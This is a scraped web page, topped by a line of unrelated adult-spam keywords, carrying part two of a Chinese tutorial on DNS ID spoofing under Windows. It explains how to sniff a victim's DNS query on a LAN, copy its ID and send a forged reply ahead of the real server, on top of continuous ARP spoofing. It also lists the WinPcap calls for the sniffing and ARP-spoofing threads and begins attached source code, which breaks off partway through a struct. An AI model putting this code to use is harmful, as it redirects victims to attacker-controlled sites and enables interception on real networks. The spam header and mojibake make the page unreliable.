日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

Windows下DNS ID欺騙的原理與實(shí)現(xiàn)( 二 )


在監(jiān)視網(wǎng)關(guān)和客戶端主機(jī)之間的數(shù)據(jù)報(bào)時(shí),假如發(fā)現(xiàn)了客戶端發(fā)送的DNS查詢數(shù)據(jù)報(bào)(目的端口為53),那么我們可以提前將自己構(gòu)造的DNS響應(yīng)數(shù)據(jù)報(bào)發(fā)送到客戶端 。注重,我們必須提取有客戶端發(fā)送來的DNS查詢數(shù)據(jù)報(bào)的ID信息,因?yàn)榭蛻舳耸峭ㄟ^它來進(jìn)行匹配認(rèn)證的,這就是一個(gè)我們可以利用的DNS漏洞 。這樣客戶端會(huì)先收到我們發(fā)送的DNS響應(yīng)數(shù)據(jù)報(bào)并訪問我們自定義的網(wǎng)站,雖然客戶端也會(huì)收到DNS服務(wù)器的響應(yīng)報(bào)文,不過已經(jīng)來不及了,哈哈 。

三.核心代碼分析
主程序創(chuàng)建兩個(gè)線程,一個(gè)線程進(jìn)行實(shí)時(shí)的ARP欺騙,另一個(gè)線程監(jiān)聽接收到的數(shù)據(jù)報(bào),若發(fā)現(xiàn)有域名服務(wù)查詢數(shù)據(jù)報(bào),則立即向客戶端發(fā)送自定義的DSN響應(yīng)數(shù)據(jù)報(bào) 。測(cè)試環(huán)境:Windows2000VC6.0Winpcap_3.0_alpha,注冊(cè)表:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersIPEnableRouter = 0x1 。
1.sniff線程:
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
//將網(wǎng)卡設(shè)置為混雜模式
PacketSetBuff(lpadapter,500*1024);
//設(shè)置網(wǎng)絡(luò)適配器的內(nèi)核緩存;
PacketSetReadTimeout(lpadapter,1);
//設(shè)置等待時(shí)間;
PacketReceivePacket(lpadapter,lppacketr,TRUE);
//接收網(wǎng)絡(luò)數(shù)據(jù)報(bào);
checksum((USHORT *)temp,sizeof(PSD) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
//計(jì)算校驗(yàn)和;
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen 4 sizeof(RESPONSE));
//初始化一個(gè)_PACKET結(jié)構(gòu),發(fā)送DNS響應(yīng)數(shù)據(jù)報(bào);
2.arpspoof線程;
PacketInitPacket(lppackets,sendbuf,sizeof(eth) sizeof(arp));
//初始化ARP響應(yīng)數(shù)據(jù)報(bào);
PacketSendPacket(lpadapter,lppackets,TRUE);
//發(fā)送ARP欺騙的響應(yīng)數(shù)據(jù)報(bào);
3.getmac()函數(shù)
GetAdaptersInfo(padapterinfo,&adapterinfosize);
//獲取網(wǎng)絡(luò)適配器的屬性;
SendARP(destip,0,pulmac,&ullen);
//發(fā)送ARP請(qǐng)求數(shù)據(jù)報(bào),過去網(wǎng)絡(luò)主機(jī)的MAC地址;
4.main()函數(shù)
PacketGetAdapterNames((char *)adaptername,&adapterlength);
//獲得本地主機(jī)的網(wǎng)絡(luò)適配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]); 
//打開指定的網(wǎng)絡(luò)適配器;
CreateThread(NULL,0,sniff,NULL,0,&threadrid);
CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
//創(chuàng)建兩個(gè)線程;
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
//等待其中的某個(gè)線程結(jié)束;
四.小結(jié)與后記
局域網(wǎng)內(nèi)的網(wǎng)絡(luò)安全是一個(gè)值得大家關(guān)注的問題,往往輕易發(fā)起各種欺騙攻擊,這是局域網(wǎng)自身的屬性所決定的--網(wǎng)絡(luò)共享 。本文所講解的DNS ID欺騙是基于ARP欺騙之上的網(wǎng)絡(luò)攻擊,假如在廣域網(wǎng)上,則比較麻煩 。不過也有一些例外情況:假如IE中使用代理服務(wù)器,欺騙不能進(jìn)行,因?yàn)檫@時(shí)客戶端并不會(huì)在本地進(jìn)行域名請(qǐng)求;假如你訪問的不是網(wǎng)站主頁,而是相關(guān)子目錄的文件,這樣你在自定義的網(wǎng)站上不會(huì)找到相關(guān)的文件,登陸以失敗告終 。假如你不幸被欺騙了,先禁用本地連接,然后啟用本地連接就可以清除DNS緩存 。
五.附件源代碼
#include <packet32.h>
#include <iphlpapi.h>
#include <stdio.h>
#define ETH_IP0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;

推薦閱讀